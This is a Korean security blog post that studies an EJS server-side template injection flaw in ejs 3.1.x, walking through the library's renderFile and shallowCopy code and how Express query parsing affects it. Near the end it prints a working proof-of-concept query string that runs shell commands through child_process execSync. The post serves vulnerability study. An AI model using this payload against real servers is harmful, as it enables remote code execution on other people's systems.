2025. 5. 16. 00:05ㆍWeb Security/web hacking
ejs의 ssti 공격과 관련된 문제가 존재하였다.
ejs@3.1.8 이 문제이다. 그렇기에 바로 cve를 보러 갔는데 다음과 같은 글을 보게 되었다.(https://github.com/mde/ejs/security)
상당히 놀라웠다. 에당초 대부분의 SSTI를 ninja2에서 분석하다보니 해당 부분의 코드 셋이 신기하였다. 여기서도 취약점이 발생된다고?
마침 https://one3147.tistory.com/65 여기서 해당 부분에 대한 분석들이 있길래 읽으면서 공부해보기로 하였다.
https://lactea.kr/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-EJS-Server-Side-Template-Injection-to-RCE-CVE-2022-29078 여기서 설명도 야무지다.
여기서 해당 부분은 post 요청시 어떻게 결정하는 미들 웨 어이기 때문에 해당 코드가 없어서도 GET 요청을 배열로 줄 수 있다.
app.use(express.json()); // JSON 형식의 요청 바디를 파싱
app.use(express.urlencoded({ extended: false })); // URL encoded 형식의 요청 바디를 파싱
배열을 모두 ejs 엔진한테 건내주면 취약점이 발생하게 된다.
어떤 방식으로 취약점이 발생하냐는 https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L454 해당 부분의 코드를 보면 알 수 있다.
아래 부분은 renderFile의 코드 셋이다. ( 해당부분은 분석해보지는 않았지만, render가 실행되게 되는 경우 renderFile 함수가 실행되는 듯?)(https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L413)
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
여기서 req.query의 값을 data에 넣어준다고 한다. (data = args.shift();)
추가적으로 viewOpts = data.settings['view options']; 여기서 viewOpts에 값이 존재하면 utils.shallowCopy(opts, viewOpts); 를 실행한다.
여기서 shallowCopy 코드이다. (https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/utils.js#L115)
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};
해당 코드는 from의 키를 p에 넣고 to[p] = from[p] 로 즉 이동시켜주는 것이다.
다시 돌아와서 utils.shallowCopy(opts, viewOpts); 의 뜻은 viewOpts를 opts이로 이동시킨다고 보면되는 것이다.
근데 이게 뭐? 이럴 수 있는데요. ejs에는 템플릿을 랜더링 할때, js를 실행시켜주는 로직이 있다고 합니다.
(https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L589)
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
여기서 prepended 코드가 js코드이고 실행된다고 한다. opts.outputFunctionName이 js코드로 일부분 들어간다. 그럼으로 앞서 말했듯이 조작을 하면 expoit이 가능하다는 부분이다.
그래서 POC를 딱해봤는데? 작동하지 않았다. 이에 실제로 브레이크 포인트를 걸로 POC를 해볼려고 한다.
일단 확인 결과 viewOptions에 값이 제대로 입력되지 않았다.
이에 data를 분석해보니 data에 값이 안들어가는 것을 확인하였다.
이렇게 분리된다.
이는 보면 알 수 있다 싶이.console.log(req.query) 에서 req.query가 문자열로 들어오기 때문이다.
왜인지 알게되었다. express 버전의 차이였다. express 5.1.0 최신 버전부터는 배열로 들어오는 get요소를 무시하고 무조건적으로 문자열로 받아버린다.
즉 express의 원래 쿼리 파싱은 qs 모드가 디폴트였는데 4.16 이상부터는 원래 querystring 으로 변경함 그래서 발생되는 차이였다.
3.18~3.10에서 발생되는 ejs 취약점.
POC
settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('코드'); c
https://github.com/mde/ejs/issues/735
EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) · Issue #735 · mde/ejs
EJS has a server-side template injection vulnerability. You have fixed some server-side template injection vulnerabilities recently, such as CVE-2022-29078, CVE-2023-29827. But there's one more tha...
github.com
이외의 취약점
https://busu.ng/entry/EJS-EJS-3193110-SSTI-vulnerable-%EC%97%B0%EA%B5%AC
[EJS] EJS 3.1.9(3.1.10) SSTI vulnerable 연구
이 글을 보고 있다면, NODEJS 3.1.6이전버전에서 발생하는 SSTI취약점에 대해서는 한번쯤 들어봤을 것이라고 생각한다. 제보된 해당 취약점 자체는 3.1.6 버전을 지나서 패치가 진행되었지만( EJS 3.1
busu.ng
https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
EJS - Server Side Prototype Pollution gadgets to RCE. Tags:Article - Article - Web - SSPP
EJS - Server Side Prototype Pollution gadgets to RCE 📜 Introdution Last month (February 2023), I took a look into NodeJS HTML templating libraries. During my research, I found an interesting Server Side Prototype Pollution (SSPP) gadget in the EJS libra
mizu.re
'Web Security > web hacking' 카테고리의 다른 글
DOM clobbing (0) | 2025.05.17 |
---|---|
Debug and vulns (0) | 2025.02.23 |
ByPass WAF using HTTP header (0) | 2025.01.11 |
PHP Session Poisoning using LFI (0) | 2025.01.09 |
file upload & download & reverse shell (11) | 2024.11.15 |